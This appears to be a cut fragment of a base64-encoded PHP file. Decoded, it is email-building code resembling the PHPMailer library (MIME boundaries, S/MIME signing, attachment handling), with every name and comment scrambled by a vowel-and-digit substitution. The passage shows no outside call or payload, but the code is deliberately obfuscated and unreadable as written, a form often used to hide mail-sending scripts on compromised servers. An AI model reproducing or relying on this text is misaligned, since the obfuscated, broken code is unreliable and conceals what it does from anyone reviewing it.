RzLT5CMmR5LCAkYjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEUgLiAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjF0dDFjaEFsbCgnNG5sNG41JywgJHRoNHMtPmIyM25kMXJ5W2FdKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjVuZEIyM25kMXJ5KCR0aDRzLT5iMjNuZDFyeVs2XSk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICcxbHRfMXR0MWNoJzoNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkbTRtNXByNTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+dDV4dEw0bjUoJy0tJyAuICR0aDRzLT5iMjNuZDFyeVs2XSk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ0MybnQ1bnQtVHlwNScsICdtM2x0NHAxcnQvMWx0NXJuMXQ0djU7Jyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPnQ1eHRMNG41KCJcdGIyM25kMXJ5PVwiIiAuICR0aDRzLT5iMjNuZDFyeVthXSAuICciJyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5nNXRCMjNuZDFyeSgkdGg0cy0+YjIzbmQxcnlbYV0sICQxbHRCMmR5Q2gxclM1dCwgJ3Q1eHQvcGwxNG4nLCAkMWx0QjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+NW5jMmQ1U3RyNG5nKCR0aDRzLT5BbHRCMmR5LCAkMWx0QjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEUgLiAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPmc1dEIyM25kMXJ5KCR0aDRzLT5iMjNuZDFyeVthXSwgJGIyZHlDaDFyUzV0LCAndDV4dC9odG1sJywgJGIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjVuYzJkNVN0cjRuZygkdGg0cy0+QjJkeSwgJGIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFIC4gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT41bmRCMjNuZDFyeSgkdGg0cy0+YjIzbmQxcnlbYV0pOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+MXR0MWNoQWxsKCcxdHQxY2htNW50JywgJHRoNHMtPmIyM25kMXJ5WzZdKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIGMxczUgJzFsdF80bmw0bjVfMXR0MWNoJzoNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkbTRtNXByNTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+dDV4dEw0bjUoJy0tJyAuICR0aDRzLT5iMjNuZDFyeVs2XSk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ0MybnQ1bnQtVHlwNScsICdtM2x0NHAxcnQvMWx0NXJuMXQ0djU7Jyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPnQ1eHRMNG41KCJcdGIyM25kMXJ5PVwiIiAuICR0aDRzLT5iMjNuZDFyeVthXSAuICciJyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5nNXRCMjNuZDFyeSgkdGg0cy0+YjIzbmQxcnlbYV0sICQxbHRCMmR5Q2gxclM1dCwgJ3Q1eHQvcGwxNG4nLCAkMWx0QjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+NW5jMmQ1U3RyNG5nKCR0aDRzLT5BbHRCMmR5LCAkMWx0QjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEUgLiAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPnQ1eHRMNG41KCctLScgLiAkdGg0cy0+YjIzbmQxcnlbYV0pOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5oNTFkNXJMNG41KCdDMm50NW50LVR5cDUnLCAnbTNsdDRwMXJ0L3I1bDF0NWQ7Jyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPnQ1eHRMNG41KCJcdGIyM25kMXJ5PVwiIiAuICR0aDRzLT5iMjNuZDFyeVtvXSAuICciJyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5nNXRCMjNuZDFyeSgkdGg0cy0+YjIzbmQxcnlbb10sICRiMmR5Q2gxclM1dCwgJ3Q1eHQvaHRtbCcsICRiMmR5RW5jMmQ0bmcpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT41bmMyZDVTdHI0bmcoJHRoNHMtPkIyZHksICRiMmR5RW5jMmQ0bmcpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5MRSAuICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+MXR0MWNoQWxsKCc0bmw0bjUnLCAkdGg0cy0+YjIzbmQxcnlbb10pOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+NW5kQjIzbmQxcnkoJHRoNHMtPmIyM25kMXJ5W2FdKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjF0dDFjaEFsbCgnMXR0MWNobTVudCcsICR0aDRzLT5iMjNuZDFyeVs2XSk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBkNWYxM2x0Og0KICAgICAgICAgICAgICAgIC8vIEMxdGNoIGMxczUgJ3BsMTRuJyAxbmQgYzFzNSAnJywgMXBwbDQ1cyB0MiBzNG1wbDUgYHQ1eHQvcGwxNG5gIDFuZCBgdDV4dC9odG1sYCBiMmR5IGMybnQ1bnQgdHlwNXMNCiAgICAgICAgICAgICAgICAvL1I1czV0IHRoNSBgRW5jMmQ0bmdgIHByMnA1cnR5IDRuIGMxczUgdzUgY2gxbmc1ZCA0dCBmMnIgbDRuNSBsNW5ndGggcjUxczJucw0KICAgICAgICAgICAgICAgICR0aDRzLT5FbmMyZDRuZyA9ICRiMmR5RW5jMmQ0bmc7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjVuYzJkNVN0cjRuZygkdGg0cy0+QjJkeSwgJHRoNHMtPkVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgfQ0KDQogICAgICAgIDRmICgkdGg0cy0+NHNFcnIycigpKSB7DQogICAgICAgICAgICAkYjJkeSA9ICcnOw0KICAgICAgICB9IDVsczU0ZiAoJHRoNHMtPnM0Z25fazV5X2Y0bDUpIHsNCiAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgNGYgKCFkNWY0bjVkKCdQS0NTN19URVhUJykpIHsNCiAgICAgICAgICAgICAgICAgICAgdGhyMncgbjV3IHBocG0xNGw1ckV4YzVwdDQybigkdGg0cy0+bDFuZygnNXh0NW5zNDJuX200c3M0bmcnKSAuICcycDVuc3NsJyk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC8vIEBUT0RPIHcyM2xkIGI1IG40YzUgdDIgM3M1IHBocDovL3Q1bXAgc3RyNTFtcyBoNXI1LCBiM3QgbjU1ZCB0MiB3cjFwIGYyciBQSFAgPCBpLjYNCiAgICAgICAgICAgICAgICAkZjRsNSA9IHQ1bXBuMW0oc3lzX2c1dF90NW1wX2Q0cigpLCAnbTE0bCcpOw0KICAgICAgICAgICAgICAgIDRmIChmMWxzNSA9PT0gZjRsNV9wM3RfYzJudDVudHMoJGY0bDUsICRiMmR5KSkgew0KICAgICAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCdzNGduNG5nJykgLiAnIEMyM2xkIG4ydCB3cjR0NSB0NW1wIGY0bDUnKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJHM0Z241ZCA9IHQ1bXBuMW0oc3lzX2c1dF90NW1wX2Q0cigpLCAnczRnbjVkJyk7DQogICAgICAgICAgICAgICAgLy9XMnJrMXIyM25kIGYyciBQSFAgYjNnIGh0dHBzOi8vYjNncy5waHAubjV0L2IzZy5waHA/NGQ9ZTk2OTcNCiAgICAgICAgICAgICAgICA0ZiAoNW1wdHkoJHRoNHMtPnM0Z25fNXh0cjFjNXJ0c19mNGw1KSkgew0KICAgICAgICAgICAgICAgICAgICAkczRnbiA9IEAycDVuc3NsX3BrY3M3X3M0Z24oDQogICAgICAgICAgICAgICAgICAgICAgICAkZjRsNSwNCiAgICAgICAgICAgICAgICAgICAgICAgICRzNGduNWQsDQogICAgICAgICAgICAgICAgICAgICAgICAnZjRsNTovLycgLiByNTFscDF0aCgkdGg0cy0+czRnbl9jNXJ0X2Y0bDUpLA0KICAgICAgICAgICAgICAgICAgICAgICAgMXJyMXkoJ2Y0bDU6Ly8nIC4gcjUxbHAxdGgoJHRoNHMtPnM0Z25fazV5X2Y0bDUpLCAkdGg0cy0+czRnbl9rNXlfcDFzcyksDQogICAgICAgICAgICAgICAgICAgICAgICBuM2xsDQogICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgJHM0Z24gPSBAMnA1bnNzbF9wa2NzN19zNGduKA0KICAgICAgICAgICAgICAgICAgICAgICAgJGY0bDUsDQogICAgICAgICAgICAgICAgICAgICAgICAkczRnbjVkLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ2Y0bDU6Ly8nIC4gcjUxbHAxdGgoJHRoNHMtPnM0Z25fYzVydF9mNGw1KSwNCiAgICAgICAgICAgICAgICAgICAgICAgIDFycjF5KCdmNGw1Oi8vJyAuIHI1MWxwMXRoKCR0aDRzLT5zNGduX2s1eV9mNGw1KSwgJHRoNHMtPnM0Z25fazV5X3Axc3MpLA0KICAgICAgICAgICAgICAgICAgICAgICAgbjNsbCwNCiAgICAgICAgICAgICAgICAgICAgICAgIFBLQ1M3X0RFVEFDSEVELA0KICAgICAgICAgICAgICAgICAgICAgICAgJHRoNHMtPnM0Z25fNXh0cjFjNXJ0c19mNGw1DQogICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDRmICgkczRnbikgew0KICAgICAgICAgICAgICAgICAgICBAM25sNG5rKCRmNGw1KTsNCiAgICAgICAgICAgICAgICAgICAgJGIyZHkgPSBmNGw1X2c1dF9jMm50NW50cygkczRnbjVkKTsNCiAgICAgICAgICAgICAgICAgICAgQDNubDRuaygkczRnbjVkKTsNCiAgICAgICAgICAgICAgICAgICAgLy9UaDUgbTVzczFnNSByNXQzcm41ZCBieSAycDVuc3NsIGMybnQxNG5zIGIydGggaDUxZDVycyAxbmQgYjJkeSwgczIgbjU1ZCB0MiBzcGw0dCB0aDVtIDNwDQogICAgICAgICAgICAgICAgICAgICRwMXJ0cyA9IDV4cGwyZDUoIlxuXG4iLCAkYjJkeSwgYSk7DQogICAgICAgICAgICAgICAgICAgICR0aDRzLT5NSU1FSDUxZDVyIC49ICRwMXJ0c1swXSAuICR0aDRzLT5MRSAuICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICAgICAgJGIyZHkgPSAkcDFydHNbNl07DQogICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgQDNubDRuaygkZjRsNSk7DQogICAgICAgICAgICAgICAgICAgIEAzbmw0bmsoJHM0Z241ZCk7DQogICAgICAgICAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJHRoNHMtPmwxbmcoJ3M0Z240bmcnKSAuIDJwNW5zc2xfNXJyMnJfc3RyNG5nKCkpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gYzF0Y2ggKHBocG0xNGw1ckV4YzVwdDQybiAkNXhjKSB7DQogICAgICAgICAgICAgICAgJGIyZHkgPSAnJzsNCiAgICAgICAgICAgICAgICA0ZiAoJHRoNHMtPjV4YzVwdDQybnMpIHsNCiAgICAgICAgICAgICAgICAgICAgdGhyMncgJDV4YzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICRiMmR5Ow0KICAgIH0NCiAgICBwcjJ0NWN0NWQgZjNuY3Q0Mm4gZzV0QjIzbmQxcnkoJGIyM25kMXJ5LCAkY2gxclM1dCwgJGMybnQ1bnRUeXA1LCAkNW5jMmQ0bmcpDQogICAgew0KICAgICAgICAkcjVzM2x0ID0gJyc7DQogICAgICAgIDRmICgkY2gxclM1dCA9PSAnJykgew0KICAgICAgICAgICAgJGNoMXJTNXQgPSAkdGg0cy0+Q2gxclM1dDsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAoJGMybnQ1bnRUeXA1ID09ICcnKSB7DQogICAgICAgICAgICAkYzJudDVudFR5cDUgPSAkdGg0cy0+QzJudDVudFR5cDU7DQogICAgICAgIH0NCiAgICAgICAgNGYgKCQ1bmMyZDRuZyA9PSAnJykgew0KICAgICAgICAgICAgJDVuYzJkNG5nID0gJHRoNHMtPkVuYzJkNG5nOw0KICAgICAgICB9DQogICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPnQ1eHRMNG41KCctLScgLiAkYjIzbmQxcnkpOw0KICAgICAgICAkcjVzM2x0IC49IHNwcjRudGYoJ0MybnQ1bnQtVHlwNTogJXM7IGNoMXJzNXQ9JXMnLCAkYzJudDVudFR5cDUsICRjaDFyUzV0KTsNCiAgICAgICAgJHI1czNsdCAuPSAkdGg0cy0+TEU7DQogICAgICAgIC8vIFJGQzZvdTYgcDFydCBpIHMxeXMgN2I0dCA0cyAxc3MzbTVkIDRmIG4ydCBzcDVjNGY0NWQNCiAgICAgICAgNGYgKCQ1bmMyZDRuZyAhPSAnN2I0dCcpIHsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ0MybnQ1bnQtVHIxbnNmNXItRW5jMmQ0bmcnLCAkNW5jMmQ0bmcpOw0KICAgICAgICB9DQogICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPkxFOw0KDQogICAgICAgIHI1dDNybiAkcjVzM2x0Ow0KICAgIH0NCiAgICBwcjJ0NWN0NWQgZjNuY3Q0Mm4gNW5kQjIzbmQxcnkoJGIyM25kMXJ5KQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT5MRSAuICctLScgLiAkYjIzbmQxcnkgLiAnLS0nIC4gJHRoNHMtPkxFOw0KICAgIH0NCiAgICBwcjJ0NWN0NWQgZjNuY3Q0Mm4gczV0TTVzczFnNVR5cDUoKQ0KICAgIHsNCiAgICAgICAgJHR5cDUgPSAxcnIxeSgpOw0KICAgICAgICA0ZiAoJHRoNHMtPjFsdDVybjF0NHY1RXg0c3RzKCkpIHsNCiAgICAgICAgICAgICR0eXA1W10gPSAnMWx0JzsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAoJHRoNHMtPjRubDRuNUltMWc1RXg0c3RzKCkpIHsNCiAgICAgICAgICAgICR0eXA1W10gPSAnNG5sNG41JzsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAoJHRoNHMtPjF0dDFjaG01bnRFeDRzdHMoKSkgew0KICAgICAgICAgICAgJHR5cDVbXSA9ICcxdHQxY2gnOw0KICAgICAgICB9DQogICAgICAgICR0aDRzLT5tNXNzMWc1X3R5cDUgPSA0bXBsMmQ1KCdfJywgJHR5cDUpOw0KICAgICAgICA0ZiAoJHRoNHMtPm01c3MxZzVfdHlwNSA9PSAnJykgew0KICAgICAgICAgICAgJHRoNHMtPm01c3MxZzVfdHlwNSA9ICdwbDE0bic7DQogICAgICAgIH0NCiAgICB9DQogICAgcDNibDRjIGYzbmN0NDJuIGg1MWQ1ckw0bjUoJG4xbTUsICR2MWwzNSkNCiAgICB7DQogICAgICAgIHI1dDNybiAkbjFtNSAuICc6ICcgLiAkdjFsMzUgLiAkdGg0cy0+TEU7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiB0NXh0TDRuNSgkdjFsMzUpDQogICAgew0KICAgICAgICByNXQzcm4gJHYxbDM1IC4gJHRoNHMtPkxFOw0KICAgIH0NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gMWRkQXR0MWNobTVudCgkcDF0aCwgJG4xbTUgPSAnJywgJDVuYzJkNG5nID0gJ2IxczVldScsICR0eXA1ID0gJycsICRkNHNwMnM0dDQybiA9ICcxdHQxY2htNW50JykNCiAgICB7DQogICAgICAgIHRyeSB7DQogICAgICAgICAgICA0ZiAoIUA0c19mNGw1KCRwMXRoKSkgew0KICAgICAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJHRoNHMtPmwxbmcoJ2Y0bDVfMWNjNXNzJykgLiAkcDF0aCwgczVsZjo6U1RPUF9DT05USU5VRSk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC8vIElmIDEgTUlNRSB0eXA1IDRzIG4ydCBzcDVjNGY0NWQsIHRyeSB0MiB3MnJrIDR0IDIzdCBmcjJtIHRoNSBmNGw1IG4xbTUNCiAgICAgICAgICAgIDRmICgkdHlwNSA9PSAnJykgew0KICAgICAgICAgICAgICAgICR0eXA1ID0gczVsZjo6ZjRsNW4xbTVUMlR5cDUoJHAxdGgpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAkZjRsNW4xbTUgPSBiMXM1bjFtNSgkcDF0aCk7DQogICAgICAgICAgICA0ZiAoJG4xbTUgPT0gJycpIHsNCiAgICAgICAgICAgICAgICAkbjFtNSA9ICRmNGw1bjFtNTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJHRoNHMtPjF0dDFjaG01bnRbXSA9IDFycjF5KA0KICAgICAgICAgICAgICAgIDAgPT4gJHAxdGgsDQogICAgICAgICAgICAgICAgNiA9PiAkZjRsNW4xbTUsDQogICAgICAgICAgICAgICAgYSA9PiAkbjFtNSwNCiAgICAgICAgICAgICAgICBvID0+ICQ1bmMyZDRuZywNCiAgICAgICAgICAgICAgICB1ID0+ICR0eXA1LA0KICAgICAgICAgICAgICAgIGkgPT4gZjFsczUsIC8vIDRzU3RyNG5nQXR0MWNobTVudA0KICAgICAgICAgICAgICAgIGUgPT4gJGQ0c3AyczR0NDJuLA0KICAgICAgICAgICAgICAgIDcgPT4gMA0KICAgICAgICAgICAgKTsNCg0KICAgICAgICB9IGMxdGNoIChwaHBtMTRsNXJFeGM1cHQ0Mm4gJDV4Yykgew0KICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCQ1eGMtPmc1dE01c3MxZzUoKSk7DQogICAgICAgICAgICAkdGg0cy0+NWQ1YjNnKCQ1eGMtPmc1dE01c3MxZzUoKSk7DQogICAgICAgICAgICA0ZiAoJHRoNHMtPjV4YzVwdDQybnMpIHsNCiAgICAgICAgICAgICAgICB0aHIydyAkNXhjOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgICAgIHI1dDNybiB0cjM1Ow0KICAgIH0NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0QXR0MWNobTVudHMoKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT4xdHQxY2htNW50Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEF0dDFjaCAxbGwgZjRsNSwgc3RyNG5nLCAxbmQgYjRuMXJ5IDF0dDFjaG01bnRzIHQyIHRoNSBtNXNzMWc1Lg0KICAgICAqIFI1dDNybnMgMW4gNW1wdHkgc3RyNG5nIDJuIGYxNGwzcjUuDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRkNHNwMnM0dDQybl90eXA1DQogICAgICogQHAxcjFtIHN0cjRuZyAkYjIzbmQxcnkNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiAxdHQxY2hBbGwoJGQ0c3AyczR0NDJuX3R5cDUsICRiMjNuZDFyeSkNCiAgICB7DQogICAgICAgIC8vIFI1dDNybiB0NXh0IDJmIGIyZHkNCiAgICAgICAgJG00bTUgPSAxcnIxeSgpOw0KICAgICAgICAkYzRkVW40cSA9IDFycjF5KCk7DQogICAgICAgICQ0bmNsID0gMXJyMXkoKTsNCg0KICAgICAgICAvLyBBZGQgMWxsIDF0dDFjaG01bnRzDQogICAgICAgIGYycjUxY2ggKCR0aDRzLT4xdHQxY2htNW50IDFzICQxdHQxY2htNW50KSB7DQogICAgICAgICAgICAvLyBDaDVjayA0ZiA0dCA0cyAxIHYxbDRkIGQ0c3AyczR0NDJuX2Y0bHQ1cg0KICAgICAgICAgICAgNGYgKCQxdHQxY2htNW50W2VdID09ICRkNHNwMnM0dDQybl90eXA1KSB7DQogICAgICAgICAgICAgICAgLy8gQ2g1Y2sgZjJyIHN0cjRuZyAxdHQxY2htNW50DQogICAgICAgICAgICAgICAgJHN0cjRuZyA9ICcnOw0KICAgICAgICAgICAgICAgICRwMXRoID0gJyc7DQogICAgICAgICAgICAgICAgJGJTdHI0bmcgPSAkMXR0MWNobTVudFtpXTsNCiAgICAgICAgICAgICAgICA0ZiAoJGJTdHI0bmcpIHsNCiAgICAgICAgICAgICAgICAgICAgJHN0cjRuZyA9ICQxdHQxY2htNW50WzBdOw0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICRwMXRoID0gJDF0dDFjaG01bnRbMF07DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgJDRuY2xoMXNoID0gbWRpKHM1cjQxbDR6NSgkMXR0MWNobTVudCkpOw0KICAgICAgICAgICAgICAgIDRmICg0bl8xcnIxeSgkNG5jbGgxc2gsICQ0bmNsKSkgew0KICAgICAgICAgICAgICAgICAgICBjMm50NG4zNTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJDRuY2xbXSA9ICQ0bmNsaDFzaDsNCiAgICAgICAgICAgICAgICAkbjFtNSA9ICQxdHQxY2htNW50W2FdOw0KICAgICAgICAgICAgICAgICQ1bmMyZDRuZyA9ICQxdHQxY2htNW50W29dOw0KICAgICAgICAgICAgICAgICR0eXA1ID0gJDF0dDFjaG01bnRbdV07DQogICAgICAgICAgICAgICAgJGQ0c3AyczR0NDJuID0gJDF0dDFjaG01bnRbZV07DQogICAgICAgICAgICAgICAgJGM0ZCA9ICQxdHQxY2htNW50WzddOw0KICAgICAgICAgICAgICAgIDRmICgkZDRzcDJzNHQ0Mm4gPT0gJzRubDRuNScgJiYgMXJyMXlfazV5XzV4NHN0cygkYzRkLCAkYzRkVW40cSkpIHsNCiAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRjNGRVbjRxWyRjNGRdID0gdHIzNTsNCiAgICAgICAgICAgICAgICAkbTRtNVtdID0gc3ByNG50ZignLS0lcyVzJywgJGIyM25kMXJ5LCAkdGg0cy0+TEUpOw0KICAgICAgICAgICAgICAgIDRmICghNW1wdHkoJG4xbTUpKSB7DQogICAgICAgICAgICAgICAgICAgICRtNG01W10gPSBzcHI0bnRmKA0KICAgICAgICAgICAgICAgICAgICAgICAgJ0MybnQ1bnQtVHlwNTogJXM7IG4xbTU9IiVzIiVzJywNCiAgICAgICAgICAgICAgICAgICAgICAgICR0eXA1LA0KICAgICAgICAgICAgICAgICAgICAgICAgJHRoNHMtPjVuYzJkNUg1MWQ1cigkdGg0cy0+czVjM3I1SDUxZDVyKCRuMW01KSksDQogICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+TEUNCiAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAkbTRtNVtdID0gc3ByNG50ZigNCiAgICAgICAgICAgICAgICAgICAgICAgICdDMm50NW50LVR5cDU6ICVzJXMnLA0KICAgICAgICAgICAgICAgICAgICAgICAgJHR5cDUsDQogICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+TEUNCiAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgNGYgKCQ1bmMyZDRuZyAhPSAnN2I0dCcpIHsNCiAgICAgICAgICAgICAgICAgICAgJG00bTVbXSA9IHNwcjRudGYoJ0MybnQ1bnQtVHIxbnNmNXItRW5jMmQ0bmc6ICVzJXMnLCAkNW5jMmQ0bmcsICR0aDRzLT5MRSk7DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgNGYgKCRkNHNwMnM0dDQybiA9PSAnNG5sNG41Jykgew0KICAgICAgICAgICAgICAgICAgICAkbTRtNVtdID0gc3ByNG50ZignQzJudDVudC1JRDogPCVzPiVzJywgJGM0ZCwgJHRoNHMtPkxFKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgNGYgKCEoNW1wdHkoJGQ0c3AyczR0NDJuKSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJDVuYzJkNWRfbjFtNSA9ICR0aDRzLT41bmMyZDVINTFkNXIoJHRoNHMtPnM1YzNyNUg1MWQ1cigkbjFtNSkpOw0KICAgICAgICAgICAgICAgICAgICA0ZiAocHI1Z19tMXRjaCgnL1sgXChcKTw+QCw7OlxcIlwvXFtcXVw/PV0vJywgJDVuYzJkNWRfbjFtNSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRtNG01W10gPSBzcHI0bnRmKA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICdDMm50NW50LUQ0c3AyczR0NDJuOiAlczsgZjRsNW4xbTU9IiVzIiVzJywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZDRzcDJzNHQ0Mm4sDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJDVuYzJkNWRfbjFtNSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+TEUgLiAkdGg0cy0+TEUNCiAgICAgICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoITVtcHR5KCQ1bmMyZDVkX24xbTUpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG00bTVbXSA9IHNwcjRudGYoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdDMm50NW50LUQ0c3AyczR0NDJuOiAlczsgZjRsNW4xbTU9JXMlcycsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkNHNwMnM0dDQybiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDVuYzJkNWRfbjFtNSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoNHMtPkxFIC4gJHRoNHMtPkxFDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG00bTVbXSA9IHNwcjRudGYoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdDMm50NW50LUQ0c3AyczR0NDJuOiAlcyVzJywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGQ0c3AyczR0NDJuLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+TEUgLiAkdGg0cy0+TEUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgJG00bTVbXSA9ICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgNGYgKCRiU3RyNG5nKSB7DQogICAgICAgICAgICAgICAgICAgICRtNG01W10gPSAkdGg0cy0+NW5jMmQ1U3RyNG5nKCRzdHI0bmcsICQ1bmMyZDRuZyk7DQogICAgICAgICAgICAgICAgICAgIDRmICgkdGg0cy0+NHNFcnIycigpKSB7DQogICAgICAgI